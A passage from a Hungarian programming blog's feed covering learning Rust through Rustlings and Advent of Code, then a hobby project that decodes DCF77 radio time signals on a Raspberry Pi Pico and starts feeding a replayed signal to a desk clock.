<p>Találtam is egy <a href="https://rustlings.cool/">&quot;munkafüzet&quot; jellegű feladatgyűjteményt</a>, ahol a kód nagy része meg van már írva, csak el kell érni, hogy leforduljon, vagy éppen a tesztek zöldek legyenek. Az alap gondolat szerintem nagyon jó, más nyelvekhez is találkoztam már ilyesmivel.</p>
<p>Az egyetlen probléma, hogy az ilyen jellegű feladatoknál hajlamos vagyok átkapcsolni tanulási üzemmódból feladat megoldási üzemmódba, ami arra nagyon jó, hogy gyorsan végigvittem ezt a &quot;játékot&quot;, de a mélyebb megértést nem igazán segítette.</p>
<p>Néhány helyen azért sikerült lelassítani, ahol vagy sokadik próbálkozásra sem sikerült megoldani a feladatot, vagy nekiállni se tudtam, úgyhogy azért utána is olvastam néhány résznek. Az első megoldások sokszor nem is sikerültek túl szépre, nyilván nem ismerem a nyelv által nyújtott eszközöket, azzal dolgozok, amim van (vagy amit épp pár feladattal korábban tanultam). Például a <a href="https://github.com/rust-lang/rustlings/blob/5.6.1/exercises/hashmaps/hashmaps3.rs"><code>hashmaps/hashmaps3.rs</code> pálya</a> első megoldása valami ilyesmi lett:</p>
<pre><code class="hljs rust"><span class="hljs-keyword">match</span> scores.get_mut(&amp;team_1_name) {
  <span class="hljs-built_in">Option</span>::<span class="hljs-literal">Some</span>(team) =&gt; {
    team.goals_scored += team_1_score;
    team.goals_conceded += team_2_score;
  }
  <span class="hljs-built_in">Option</span>::<span class="hljs-literal">None</span> =&gt; {
    scores.insert(
      team_1_name.clone(),
      Team { goals_scored: team_1_score, goals_conceded: team_2_score }
    );
  }
}
<span class="hljs-keyword">match</span> scores.get_mut(&amp;team_2_name) {
  <span class="hljs-built_in">Option</span>::<span class="hljs-literal">Some</span>(team) =&gt; {
    team.goals_scored += team_2_score;
    team.goals_conceded += team_1_score;
  }
  <span class="hljs-built_in">Option</span>::<span class="hljs-literal">None</span> =&gt; {
    scores.insert(
      team_2_name.clone(),
      Team { goals_scored: team_2_score, goals_conceded: team_1_score }
    );
  }
}
</code></pre>
<p>Aztán ráleltem <a href="https://doc.rust-lang.org/std/collections/struct.HashMap.html#method.entry">a <code>HashMap</code> <code>entry</code> függvényére</a> és <a href="https://doc.rust-lang.org/std/collections/hash_map/enum.Entry.html#method.or_insert">az <code>Entry</code> <code>or_insert</code> függvényére</a>, amik nagyban leegyszerűsítették a fenti kódot:</p>
<pre><code class="hljs rust"><span class="hljs-keyword">let</span> team = scores.entry(team_1_name)
                 .or_insert(Team { goals_scored: <span class="hljs-number">0</span>, goals_conceded: <span class="hljs-number">0</span> });
team.goals_scored += team_1_score;
team.goals_conceded += team_2_score;

<span class="hljs-keyword">let</span> team = scores.entry(team_2_name)
                 .or_insert(Team { goals_scored: <span class="hljs-number">0</span>, goals_conceded: <span class="hljs-number">0</span> });
team.goals_scored += team_2_score;
team.goals_conceded += team_1_score;
</code></pre>
<p>A <code>Team</code> később kapott még néhány extra függvényt...</p>
<pre><code class="hljs rust"><span class="hljs-keyword">impl</span> Team {
  <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">new</span></span>() -&gt; <span class="hljs-keyword">Self</span> { Team { goals_scored: <span class="hljs-number">0</span>, goals_conceded: <span class="hljs-number">0</span> } }
  <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">add</span></span>(&amp;<span class="hljs-keyword">mut</span> <span class="hljs-keyword">self</span>, scored: <span class="hljs-built_in">u8</span>, conceded: <span class="hljs-built_in">u8</span>) {
    <span class="hljs-keyword">self</span>.goals_scored += scored;
    <span class="hljs-keyword">self</span>.goals_conceded += conceded;
  }
}
</code></pre>
<p>...és ez lett a végső megoldásom:</p>
<pre><code class="hljs rust">scores.entry(team_1_name)
      .or_insert(Team::new())
      .add(team_1_score, team_2_score);
scores.entry(team_2_name)
      .or_insert(Team::new())
      .add(team_2_score, team_1_score);
</code></pre>
<p>Miután a Rustlings pályáival végeztem, új feladat után kellett néznem. Egy webes projektet még mindig túl nagy falatnak éreztem. Régen, amikor Python-t tanultam, akkor <a href="https://projecteuler.net/">Project Euler</a> feladatokat oldottam meg vele gyakorlásként. Hasonló ötlettel mentem tovább most is.</p>
<p>A <a href="https://adventofcode.com/2023">2023-as Advent of Code</a>-ba (is) belekezdtem tavaly decemberben és bár nem jutottam túl sokáig, az első néhány napra lett megoldásom PHP-ban (fő a változatosság), amiket újragondolhatok Rust-ban.</p>
<p>A meglévő megoldások ugyan nem előfeltételei annak, hogy az Advent of Code feladatai jól használhatóak legyenek egy kis programozási gyakorlásra, de én személy szerint nem szeretem, ha két zavaró tényező is van: az egyik az, hogy nem tudom még, hogy hogyan kell megoldani a feladatot, a másik pedig az, hogy nem értek a Rust-hoz. Az általában csak frusztrációhoz vezet és elmegy az ember kedve az egésztől.</p>
<p>Nyilván az Interneten fellelhető egy csomó Advent of Code megoldás, de akkor meg azzal megy az idő, hogy mások kódját megértse az ember, szóval jobb az, ha saját megoldással megyünk.</p>
<p>Alább az <a href="https://adventofcode.com/2023/day/1">első nap</a> első felének a megoldása, szerintem egész Rust-szerű lett:</p>
<pre><code class="hljs rust"><span class="hljs-keyword">use</span> std::fs;

<span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">main</span></span>() {
  <span class="hljs-keyword">let</span> sum: <span class="hljs-built_in">u32</span> = fs::read_to_string(<span class="hljs-string">"data/input_1.txt"</span>).unwrap()
    .lines()
    .map(calibration_value)
    .sum();

  <span class="hljs-built_in">println!</span>(<span class="hljs-string">"{:?}"</span>, sum);
}

<span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">calibration_value</span></span>(line: &amp;<span class="hljs-built_in">str</span>) -&gt; <span class="hljs-built_in">u32</span> {
  <span class="hljs-keyword">let</span> numbers: <span class="hljs-built_in">Vec</span>&lt;<span class="hljs-built_in">u32</span>&gt; = line.chars()
    .filter_map(|c| c.to_digit(<span class="hljs-number">10</span>))
    .collect();

  numbers.first().unwrap() * <span class="hljs-number">10</span> + numbers.last().unwrap()
}
</code></pre>
<p>Érdemes összevetni a PHP-s implementációmmal, ami egy kicsit... hogy is mondjam... kevésbé sikerült elegánsra (bár akkoriban a cél a feladat megoldása volt, nem pedig az, hogy gyönyörű PHP kód szülessen):</p>
<pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span>

$sum = <span class="hljs-number">0</span>;
<span class="hljs-keyword">foreach</span> (file(<span class="hljs-string">'input_1.txt'</span>) <span class="hljs-keyword">as</span> $line) {
  $data = trim($line);
  preg_match(<span class="hljs-string">'/^.*?(?P&lt;digit&gt;[0-9])/'</span>, $data, $m);
  $firstDigit = $m[<span class="hljs-string">'digit'</span>];
  preg_match(<span class="hljs-string">'/.*(?P&lt;digit&gt;[0-9]).*?$/'</span>, $data, $m);
  $lastDigit = $m[<span class="hljs-string">'digit'</span>];

  $sum += intval($firstDigit . $lastDigit);
}

<span class="hljs-keyword">print</span>(<span class="hljs-string">"$sum\n"</span>);
</code></pre>
<p>Egy másik jó irány lehet egy új nyelv (és a hozzá tartozó teszt környezet) gyakorlására a <a href="https://github.com/gamontal/awesome-katas">kód katák</a>. Főleg azok, amiket más nyelveken már megoldottunk, hogy a feladat megoldása már ne okozzon semmilyen súrlódást. De a kata feladatok általában egyébként sem túl bonyolultak, úgyhogy akár előzetes felkészülés nélkül is bele lehet vágni.</p>
<p>Szóval így teltek a napjaim a Rust társaságában. A következő lépés valószínűleg az lesz, hogy visszatérek egy kicsit a könyvhöz, hogy a Rust sajátosságait (mint például az ownership/borrowing) jobban megértsem és mellette csinálom tovább a kis feladatokat. Te hogyan állsz neki egy új programozási nyelv tanulásának?</p>

]]></content:encoded>
        </item>
            <item>
            <title>Van valami a levegőben</title>
            <link>https://deadlime.hu/2024/01/26/van-valami-a-levegoben/</link>
            <pubDate>Fri, 26 Jan 2024 11:47:15 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Raspberry Pi]]></category>
                    <category><![CDATA[hardver]]></category>
                    
            <guid isPermaLink="false">4abe903fee8ff98dd1ba1083bad21747</guid>
            <description>Atomórák, rádiójelek és az időszinkronizálás</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/desk_clock.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>A <a href="https://deadlime.hu/2023/12/28/nincs-meg-itt-az-ido/">korábbi óra építős projekt</a> kapcsán arra jutottam, hogy egyszerűbben is meg lehetne ezt oldani. Úgyhogy vettem egy asztali órát.</p>
<p>Na jó, ez azért nem teljesen így történt, csak valahogy úgy hozta az élet, hogy egyszerre több idő-szerű dolog is foglalkoztat. Ez a kis projekt például arról szól, hogy vajon az Internet előtt az emberek hogyan juthattak hozzá a pontos időhöz?</p>
<p>Természetesen kinéztek az ablakon és leolvasták a pontos időt a templomtoronyról. Hála a modern technológiának, ezt mi is viszonylag egyszerűen meg tudjuk oldani. Csak ráirányítunk egy kamerát a templomtoronyra és mesterséges intelligencia segítségével leolvassuk a mutatók pozíciója alapján az időt.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/tower.jpg" width="400" height="600" alt="" title="" loading="lazy" />
</p>

<p>Persze nem ennyire egyszerű a dolog. Valahogy meg kell állapítanunk azt is, hogy délelőtt vagy délután van és valószínűleg azt sem ártana megtudni, hogy mi a mai dátum. Arról nem is beszélve, ha valakinek a közelében épp nincsen egy templomtorony se.</p>
<p>Szemfüles olvasóknak feltűnhetett, hogy ehhez ugyan nem kellett volna egy asztali óra. Igaz, ami igaz, nem ebbe az irányba indultam el, nem szerettem volna <em>ennyire</em> visszamenni az időben. Valójában azon gondolkodtam el, hogy hogyan működhetnek a rádióvezérlésű órák.</p>
<h3>Rádió időszinkron</h3>
<p>Az egész egy adótoronnyal kezdődik. Mifelénk a DCF77 nevű, Németországban található torony által leadott jel lesz az, amit fogni tudunk, de <a href="https://en.wikipedia.org/wiki/Radio_clock#List_of_radio_time_signal_stations">van több is</a>, ami a világ többi részét fedi le.</p>
<p>A DCF77 esetén a jelet egy atomóra generálja és a sugárzása 60 másodpercig tart. Másodpercenként egy bit érkezik. A jelsorozatot egy hosszabb szünet zárja le. Viszont elég nagy a zaj, úgyhogy előfordulhat, hogy a hosszabb szünet megérkezésekor nincs elég adatunk, vagy ami valószínűbb, hogy előbb lesz 59 bitnyi adatunk, minthogy a szünet jönne, így a vételi viszonyok függvényében elég sokáig eltarthat az idő szinkronizáció.</p>
<p>Már csak egy vevő készülékre van szükségünk. Ez általában egy ferritrudas antennával és némi elektronika segítségével történik meg. Lehet <a href="https://www.aliexpress.com/w/wholesale-dcf77-receiver.html">rendelni vevőt Kínából is</a>, de nem volt kedvem egy hónapot várni, aztán még a postával is vacakolni, úgyhogy a leggyorsabb megoldásnak az tűnt, ha egy olcsó rádióvezérelt órát rendelek és &quot;megvizsgálom&quot; közelebbről.</p>
<h3>Az áldozat</h3>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/clock_insides.jpg" width="660" height="660" alt="" title="" loading="lazy" />
</p>

<p>A korábban emlegetett óra belsejébe belenézve láthatjuk, hogy lent van egy különálló nyomtatott áramkör, alatta pedig egy ferritrudas antenna. Ezeket némi forrasztással el is távolítottam.</p>
<p>Az óra sikeresen túlélte a műtétet, minden ugyanúgy működik rajta, csak a (rádiójel) hallását vesztette el.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/emax_6007_v1.jpg" width="660" height="660" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">EMAX 6007 V1<br/>GE16-1055R5<br/>NEW GE13-887</p>

<p>A rádió vevőn lévő feliratok nem segítettek abban, hogy valami leírást találjak, de más hasonló lapkák alapján kikövetkeztettem, hogy a <code>GND</code> a földbe megy, a <code>VCC</code>-n 3,3 voltot szeretne kapni, a <code>PON</code> a teljes modult tudja ki-be kapcsolni (de nem kell bekötni sehova) és kizárásos alapon az <code>NTCO</code>-n jön az adat.</p>
<p>A vezetékek kaptak egy kis toldást, hogy legyen a végükön jumper csatlakozó a próbapaneles felhasználáshoz, aztán rákötöttem az egészet egy Pico-ra.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/wiring1.jpg" width="660" height="540" alt="" title="" loading="lazy" />
</p>

<p>Szép is lett volna, ha elsőre sikerül. Néhány óra itt ráment arra, hogy kiderítsem miért nem jön semmi adat az antenna felől. Próbáltam bármi leírást keresni a modulhoz, kapcsolgatni a <code>PON</code>-t, különböző GPIO pin-eken rákötni a Pico-ra, gyanakodtam a kódra is, de végül az lett a megoldás, hogy átkötöttem a modult egy <a href="https://www.hestore.hu/prod_10035504.html">dedikált áramforrásra</a> és a Pico csak az adat jelet kapta meg. Valószínűleg a Pico nem tudott elég áramot adni az eszköznek.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/wiring2.jpg" width="660" height="540" alt="" title="" loading="lazy" />
</p>

<h3>Bitek a zajban</h3>
<p>Jön valamiféle adat, valamit kezdeni is kellene vele. Először csak a Pico-n található LED-et kezdtem el villogtatni, hogy legyen visszajelzés a történésekről.</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/stdlib.h"</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> DCF_PIN 16</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> LED_PIN 25</span>

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">on_change</span><span class="hljs-params">(uint gpio, <span class="hljs-keyword">uint32_t</span> event_mask)</span> </span>{
  gpio_put(LED_PIN, event_mask &amp; GPIO_IRQ_EDGE_RISE);
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
  gpio_init(DCF_PIN);
  gpio_init(LED_PIN);

  gpio_set_dir(DCF_PIN, GPIO_IN);
  gpio_set_dir(LED_PIN, GPIO_OUT);

  gpio_set_irq_enabled_with_callback(
    DCF_PIN,
    GPIO_IRQ_EDGE_FALL | GPIO_IRQ_EDGE_RISE,
    <span class="hljs-literal">true</span>,
    &amp;on_change
  );

  <span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
    sleep_ms(<span class="hljs-number">1000</span>);
  }
}
</code></pre>
<p>A következő lépés, hogy elkezdjük mérni, hogy milyen sokáig van magas és alacsony állapotban a jel. A dokumentáció szerint <code>0</code> érkezik, ha 100 ezredmásodpercig magas a jel, <code>1</code> érkezik, ha 200 ezredmásodpercig magas a jel. Mivel másodpercenként egy bit jön, ezért két magas állapot között kell lennie 800-900 ezredemásodpercnyi alacsony állapotnak. Az utolsó másodpercben nem jön adat, úgyhogy ott van egy 1800-1900 ezredmásodperces alacsony állapot.</p>
<p>Először is definiálunk néhány konstans értéket a zajszűréshez, annak megállapításához, hogy <code>0</code> vagy <code>1</code> jött és az adat végének detektálásához.</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> MINIMAL_HIGH_PULSE_WIDTH 50</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> MINIMAL_LOW_PULSE_WIDTH 700</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> PULSE_WIDTH_THRESHOLD 150</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> END_OF_DATA_PULSE_WIDTH 1500</span>
</code></pre>
<p>Aztán néhány változó is kelleni fog, amiben az előző állapotváltozások időpontját és az eddig megérkezett adatot tároljuk.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">uint32_t</span> rise_time = <span class="hljs-number">0</span>;
<span class="hljs-keyword">uint32_t</span> fall_time = <span class="hljs-number">0</span>;

<span class="hljs-keyword">uint64_t</span> <span class="hljs-built_in">buffer</span> = <span class="hljs-number">0</span>;
<span class="hljs-keyword">uint32_t</span> buffer_position = <span class="hljs-number">0</span>;
</code></pre>
<p>Ezek után már csak az <code>on_change</code> belsejét kell megírni. Először is lekérjük, hogy a Pico elindítása óta hány ezredmásodperc telt el.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">uint32_t</span> now = to_ms_since_boot(get_absolute_time());
</code></pre>
<p>Aztán csinálunk egy kis zaj szűrést, különben szinte lehetetlen lenne megkapni az adatot.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">if</span> (now - fall_time &lt; MINIMAL_LOW_PULSE_WIDTH) {
  <span class="hljs-keyword">return</span>;
}

<span class="hljs-keyword">if</span> (now - rise_time &lt; MINIMAL_HIGH_PULSE_WIDTH) {
  <span class="hljs-keyword">return</span>;
}
</code></pre>
<p>Ha alacsonyról magasra váltott a jel, akkor megnézzük, hogy elég hosszú volt-e az alacsony jel ahhoz, hogy az adat végét jelentse. Ha ezen a ponton kaptunk 59 bitnyi adatot, akkor minden oké, ha nem, akkor kezdjük előről az egészet.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">if</span> (event_mask &amp; GPIO_IRQ_EDGE_RISE) {
  rise_time = now;

  <span class="hljs-keyword">if</span> (rise_time - fall_time &gt; END_OF_DATA_PULSE_WIDTH) {
    <span class="hljs-keyword">if</span> (buffer_position == <span class="hljs-number">59</span>) {
      <span class="hljs-built_in">printf</span>(<span class="hljs-string">" - data received: %lld\n"</span>, <span class="hljs-built_in">buffer</span>);
    }
    <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">printf</span>(<span class="hljs-string">" - reset: not enough data\n"</span>);
    }
    <span class="hljs-built_in">buffer</span> = buffer_position = <span class="hljs-number">0</span>;
  }
}
</code></pre>
<p>Ha magasról alacsonyra váltott a jel, akkor a jel hossza alapján eldöntjük, hogy <code>0</code>-t vagy <code>1</code>-et kaptunk és eltesszük a kapott értékünket a <code>buffer</code>-be. Itt előfordulhat, hogy a kelleténél több adatunk van (a zaj miatt), ha ez a helyzet, akkor előről kezdjük az egészet.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (event_mask &amp; GPIO_IRQ_EDGE_FALL) {
  fall_time = now;

  <span class="hljs-keyword">uint64_t</span> next_bit = fall_time - rise_time &gt; PULSE_WIDTH_THRESHOLD ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>;

  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%lld"</span>, next_bit);

  <span class="hljs-built_in">buffer</span> |= next_bit &lt;&lt; buffer_position;
  ++buffer_position;

  <span class="hljs-keyword">if</span> (buffer_position &gt; <span class="hljs-number">59</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">" - reset: too much data\n"</span>);
    <span class="hljs-built_in">buffer</span> = buffer_position = <span class="hljs-number">0</span>;
  }
}
</code></pre>
<p>Ha minden jól ment, a végén lesz egy adatsorozatunk, ami remélhetőleg az aktuális pontos időt tartalmazza.</p>

<video controls width="660" height="450">
    <source src="https://deadlime.hu/uploads/2024/debug_output.webm" type="video/webm" />
</video>
<p class="image-caption">Szépen lassan csordogál az adat...</p>

<h3>Menjünk biztosra</h3>
<p>Többször volt említve a zaj, ami elég nagy probléma tud lenni. Abban a szobában, ahol az asztali gépem és a szerverek vannak nem is sikerült használható adatot kinyerni. Egy laptoppal költöztem át egy másik szobába, hogy ki tudjam próbálni a kódot. Napközben ott is sok volt a zaj és kellett egy fél óra is akár, hogy megkapjam a pontos időt, de este szinte minden percben sikeresen átért az adat.</p>
<p>Szóval van egy adag bitünk, de nem tudhatjuk, hogy attól, hogy mi azt gondoltuk, hogy <code>1</code>-es értéket kaptunk, a másik oldal tényleg <code>1</code>-est küldött-e. Ennek ellenőrzésére van az adatban három darab paritás bit, ami <code>0</code>, ha az előtte lévő adatban páros számú <code>1</code>-es van és <code>1</code>, ha páratlan. Először is nézzük meg, hogy hogyan számolunk paritást egy tetszőleges <code>int</code>-re:</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">parity</span><span class="hljs-params">(<span class="hljs-keyword">int</span> num)</span> </span>{
  num ^= num &gt;&gt; <span class="hljs-number">16</span>;
  num ^= num &gt;&gt; <span class="hljs-number">8</span>;
  num ^= num &gt;&gt; <span class="hljs-number">4</span>;
  num ^= num &gt;&gt; <span class="hljs-number">2</span>;
  num ^= num &gt;&gt; <span class="hljs-number">1</span>;
  <span class="hljs-keyword">return</span> num &amp; <span class="hljs-number">1</span>;
}
</code></pre>
<p>A részletekbe nem mennék bele, a <a href="https://stackoverflow.com/a/21618038">Stack Overflow oldalon</a>, ahonnan loptam a kódot remek magyarázat van hozzá. Ezen kívül tudnunk kell, hogy melyek a paritás bitek és milyen adatokra számolódtak ki. Ezt a <a href="https://en.wikipedia.org/wiki/DCF77#Time_code_interpretation">kapcsolódó Wikipédia oldalon</a> meg tudjuk nézni. Például a perc esetén:</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> min_data = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">21</span>) &amp; <span class="hljs-number">0b1111111</span>);
<span class="hljs-keyword">int</span> min_parity = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">28</span>) &amp; <span class="hljs-number">1</span>);

<span class="hljs-keyword">if</span> (parity(min_data) != min_parity) {
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"invalid parity for minute\n"</span>);
}
</code></pre>
<p>A <code>buffer</code>-ünket eltoljuk jobbra 21 bittel (gyakorlatilag kidobjuk az első 21 bitet), mert a 22. bittől kezdődik a perchez tartozó adat és vesszük az első 7 bitet (<code>&amp; 0b1111111</code>), mert addig tart a perc.</p>
<p>A paritáshoz az első 28 bitet dobjuk ki és a maradék adatból 1 bitet tartunk csak meg. Az általunk kiszámolt paritásnak egyeznie kell az így kapott adattal.</p>
<p>Az órát és a dátumot hasonló módon ellenőrizzük, csak a jobbra eltolások száma és az utána megtartott adatok mennyisége változik.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> hour_data = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">29</span>) &amp; <span class="hljs-number">0b111111</span>);
<span class="hljs-keyword">int</span> hour_parity = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">35</span>) &amp; <span class="hljs-number">1</span>);

<span class="hljs-keyword">if</span> (parity(hour_data) != hour_parity) {
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"invalid parity for hour\n"</span>);
}

<span class="hljs-keyword">int</span> date_data = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">36</span>) &amp; <span class="hljs-number">0b1111111111111111111111</span>);
<span class="hljs-keyword">int</span> date_parity = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">58</span>) &amp; <span class="hljs-number">1</span>);

<span class="hljs-keyword">if</span> (parity(date_data) != date_parity) {
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"invalid parity for date\n"</span>);
}
</code></pre>
<h3>Itt az idő</h3>
<p>Ha átment a <code>buffer</code> az ellenőrzéseken, akkor már csak ki kell nyernünk belőle az adatokat és be kell állítanunk a Pico-n a pontos időt. Először nézzük meg itt is a percet.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> <span class="hljs-built_in">min</span> = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">21</span>) &amp; <span class="hljs-number">0b1111111</span>);
<span class="hljs-built_in">min</span> = (<span class="hljs-built_in">min</span> &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">10</span> + (<span class="hljs-built_in">min</span> &amp; <span class="hljs-number">0b1111</span>);
</code></pre>
<p>Az adat kinyerése ugyanaz, mint a paritás esetén, de mivel az adat <a href="https://hu.wikipedia.org/wiki/Bin%C3%A1risan_k%C3%B3dolt_decim%C3%A1lis_sz%C3%A1m%C3%A1br%C3%A1zol%C3%A1s">binárisan kódolt decimálisként</a> van ábrázolva, ezért van vele még egy kis extra dolgunk (az első négy bit az első számjegy, a második négy bit (ami csak három) a második számjegy).</p>
<p>A maradék adatot hasonlóan kaphatjuk meg, a hét napja (<code>dow</code>) esetén a vasárnap <code>7</code>-esként jön és a Pico azt <code>0</code>-ként szeretné megkapni, valamint az év esetén hozzá kell adnunk <code>2000</code>-et az értékhez, mert az évszám utolsó két számjegyét kapjuk csak meg.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> hour = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">29</span>) &amp; <span class="hljs-number">0b111111</span>);
hour = (hour &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">10</span> + (hour &amp; <span class="hljs-number">0b1111</span>);

<span class="hljs-keyword">int</span> dom = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">36</span>) &amp; <span class="hljs-number">0b111111</span>);
dom = (dom &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">10</span> + (dom &amp; <span class="hljs-number">0b1111</span>);

<span class="hljs-keyword">int</span> dow = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">42</span>) &amp; <span class="hljs-number">0b111</span>);
<span class="hljs-keyword">if</span> (dow == <span class="hljs-number">7</span>) {
  dow = <span class="hljs-number">0</span>;
}

<span class="hljs-keyword">int</span> month = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">45</span>) &amp; <span class="hljs-number">0b11111</span>);
month = (month &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">10</span> + (month &amp; <span class="hljs-number">0b1111</span>);

<span class="hljs-keyword">int</span> year = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">50</span>) &amp; <span class="hljs-number">0b11111111</span>);
year = <span class="hljs-number">2000</span> + (year &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">10</span> + (year &amp; <span class="hljs-number">0b1111</span>);
</code></pre>
<p>Már csak meg kell mondani a Pico RTC moduljának, hogy mennyi a pontos idő.</p>
<pre><code class="hljs arduino">rtc_init();

<span class="hljs-keyword">datetime_t</span> t = {
  .year = (<span class="hljs-keyword">int16_t</span>) year,
  .month = (<span class="hljs-keyword">int8_t</span>) month,
  .day = (<span class="hljs-keyword">int8_t</span>) dom,
  .hour = (<span class="hljs-keyword">int8_t</span>) hour,
  .<span class="hljs-built_in">min</span> = (<span class="hljs-keyword">int8_t</span>) <span class="hljs-built_in">min</span>,
  .sec = <span class="hljs-number">0</span>,
  .dotw = (<span class="hljs-keyword">int8_t</span>) dow,
};

rtc_set_datetime(&amp;t);
</code></pre>
<p>És ezzel kész is vagyunk, Internet nélkül sikerült megkapnunk a pontos időt.</p>
<h3>A másik irány</h3>
<p>Maradt egy szegény, szerencsétlen óránk, aki most nem tudja magát szinkronizálni, mert elvettük tőle a rádió modult. Aztán kedves kollégám, <a href="https://github.com/potato">potato</a> bedobta az ötletet, hogy mi lenne, ha adnánk neki egy kamu jelet, úgyhogy ismét azon kaptam magam, hogy csavarozom szét az órát és a régi modul helyére forrasztottam pár jumper kábelt. Először csak a <code>GND</code> és az <code>NTCO</code> helyére, de később bekötöttem a <code>PON</code>-t is.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/wiring3.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Összekötöttem a Pico-val és elkezdtem neki jelet küldeni, de nem annyira tetszett az órának.</p>

<video controls width="660" height="450">
    <source src="https://deadlime.hu/uploads/2024/error.mp4" type="video/mp4" />
</video>

<p>Először arra gyanakodtam, hogy a <code>PON</code> hiánya okozza a problémát, hogy akkor kap jelet az óra, amikor nem számít rá, úgyhogy bekötöttem azt is, de nem lett jobb a villogás. Aztán a forrasztásra gyanakodtam, hogy véletlenül rövidre zárhattam valamit, de néhány perc nagyítóval vizsgálgatás alapján minden jónak tűnt.</p>
<p>Végül az lett gyanús, hogy a Pico 3,3 voltot ad ki magából, az óra pedig csak 3 voltról megy, hátha túl sok neki a 3,3 volt. Előtúrtam pár ellenállást egy dobozból, de nem sikerült olyat találni, ami egy az egyben megoldja a problémát. Egy ellenállás bekötése után javult a helyzet, kettő után megjavulni látszott, úgyhogy biztonság kedvéért hármat kötöttem be végül.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/wiring4.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Már csak egy kis kód kell hozzá. Egy korábban felvett valós adatot próbáltam meg visszajátszani, amit percenként ismételtem, de az óra sehogy sem akarta az igazságot. Belefutottam néhány bug-ba, hogy rossz adatot küldtem ki, de ezek javítása után sem akart még működni. Állítgattam egy kicsit az időzítésen, hátha túl pontos neki az, ahogy küldöm, de semmi. Végül az lett a megoldás, hogy az óra biztosra akar menni és egy adatsorozat kevés neki. Egymás után két sikeres adatsorozatra van szükség ahhoz, hogy beállítsa magát.</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/stdlib.h"</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> DCF_SIGNAL_PIN 12</span>
